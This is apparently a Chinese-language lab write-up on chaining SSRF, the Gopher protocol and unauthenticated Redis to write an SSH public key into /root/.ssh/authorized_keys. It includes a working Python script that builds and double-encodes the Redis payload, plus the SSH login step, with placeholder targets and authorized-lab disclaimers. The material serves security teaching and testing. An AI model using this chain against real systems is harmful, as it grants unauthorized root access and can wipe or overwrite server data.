SSRF + Gopher 配合 Redis 未授权写入 SSH 公钥

整理在授权靶场中利用 SSRF、Gopher 和 Redis 未授权访问写入 SSH 公钥的分析过程与 Python 辅助脚本。

  • #SSRF
  • #Gopher
  • #Redis
  • #SSH
  • #内网渗透

本文内容仅用于授权靶场和本地实验环境。该链路会修改 Redis 配置并向目标文件写入内容,不要对未授权目标使用。

一、攻击链路与漏洞组合

  • SSRF(服务端请求伪造):充当内网“跳板”,让服务器代替攻击者向内网目标发起请求。
  • Gopher 协议:传输自定义的原始 TCP 数据,将 Redis RESP 命令发送到目标端口。
  • Redis 未授权访问:目标 Redis 未设置密码,且运行权限较高时,可能允许修改配置并将数据写入磁盘。

整体链路是:

SSRF → Gopher → Redis 未授权 → 写入 authorized_keys → SSH 公钥登录

二、前置条件

需要确认以下条件同时成立:

  • SSRF 功能支持或间接支持 Gopher 请求;
  • 目标 Redis 服务可以从 SSRF 所在服务器访问;
  • Redis 未设置认证,且允许执行相关配置命令;
  • Redis 进程对目标目录有写权限;
  • SSH 服务已开启公钥认证,并允许目标用户登录。

三、核心操作思路

1. 生成 SSH 密钥对

在本地实验环境生成密钥对,并读取公钥内容:

ssh-keygen -t ed25519
cat ~/.ssh/id_ed25519.pub

私钥只保存在本地,不要放进文章、仓库或服务器公开目录。

2. 构造 Redis RESP 命令

脚本需要将多条 Redis 命令拼接成 RESP 格式,主要步骤如下:

  1. 将公钥前后加入换行,避免写入文件后与其他内容粘连;
  2. 使用 SET 将公钥写入 Redis 键;
  3. 使用 CONFIG SET dir 设置保存目录;
  4. 使用 CONFIG SET dbfilename 设置保存文件名;
  5. 使用 SAVE 将内容写入磁盘;
  6. 使用 QUIT 结束连接。

FLUSHALL 会清空 Redis 数据库,只能在明确隔离的实验环境中按需使用,不能把它当作通用的必选步骤。

四、Gopher URL 编码

原始 RESP 数据不能直接放进 URL,需要先进行 URL 编码。通过 SSRF 参数传递时,通常还要进行第二次编码,避免浏览器或中间 Web 组件提前还原 % 字符。

最终形式类似:

gopher://<目标IP>:6379/_<二次编码后的Payload>

其中 /_ 是 Gopher URL 常见的填充形式,目标地址、端口和 SSRF 接口都应根据授权实验环境替换。

五、触发请求与验证

将生成的 Gopher URL 放入实验环境中的 SSRF 参数,触发服务器向 Redis 发送请求。

如果目标环境允许 SSH 公钥登录,再使用本地私钥进行验证:

ssh -i ~/.ssh/id_ed25519 <用户>@<目标IP>

如果公钥写入成功仍然无法连接,需要检查 SSH 配置、目标用户、文件权限,以及是否使用了对应的私钥。

六、踩坑与排查

  • 乱码或格式污染:Redis 保存的数据带有 RDB 文件结构;公钥前后的换行和目标文件格式需要结合实验环境验证。
  • 权限问题:Redis 进程必须对目标目录有写权限,目标用户的 .ssh 目录和 authorized_keys 也需要满足 SSH 的权限要求。
  • 配置限制:某些 Redis 版本或部署方式会限制 CONFIG SET,不能默认认为所有目标都允许修改目录和文件名。
  • SSH 限制:检查 SSH 服务是否开启公钥认证,以及目标用户是否允许登录。
  • 环境地址:文章中的 <目标IP>、<SSRF接口> 和 <目标用户> 都是占位符,不要直接照搬到其他环境。

七、Python 自动构造脚本

下面脚本只用于授权实验环境。使用时需要将公钥和目标地址替换为当前实验环境的值:

import urllib.parse

target_ip = "<目标IP>"
target_port = 6379
ssrf_endpoint = "http://<SSRF接口>"

# 使用实验环境中的公钥,不要填写或提交真实私钥
public_key = "ssh-ed25519 AAAA... <用户>@<主机>"

# 给公钥前后加换行,避免写入时和已有内容粘连
payload = f"\n\n\n{public_key.strip()}\n\n\n"
payload_length = len(payload.encode("utf-8"))

redis_commands = [
    # 仅在隔离实验环境中按需启用;它会清空 Redis 数据库
    # "*1\r\n$8\r\nFLUSHALL\r\n",
    "*1\r\n$7\r\nCOMMAND\r\n",
    f"*3\r\n$3\r\nset\r\n$1\r\nx\r\n${payload_length}\r\n{payload}\r\n",
    "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$10\r\n/root/.ssh\r\n",
    "*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$15\r\nauthorized_keys\r\n",
    "*1\r\n$4\r\nsave\r\n",
    "*1\r\n$4\r\nquit\r\n",
]

raw_data = "".join(redis_commands)
first_encode = urllib.parse.quote(raw_data)
gopher_url = (
    f"gopher://{target_ip}:{target_port}/_"
    + urllib.parse.quote(first_encode)
)

print("请在授权实验环境中使用下面的 URL:")
print(f"{ssrf_endpoint}?url={gopher_url}")

工具说明

  • ssh-keygen:生成 SSH 密钥对。
  • binwalk、strings 等:辅助分析题目文件(如题目还包含文件分析环节)。
  • Python urllib.parse:对 Gopher URL 进行编码。
  • Redis RESP:Redis 客户端与服务端之间使用的请求格式。

如果需要先把可读的 Redis 命令转换成 RESP,可以参考单独的工具笔记:Redis RESP 转换工具使用说明。

工具项目地址:GitHub:redis-to-resp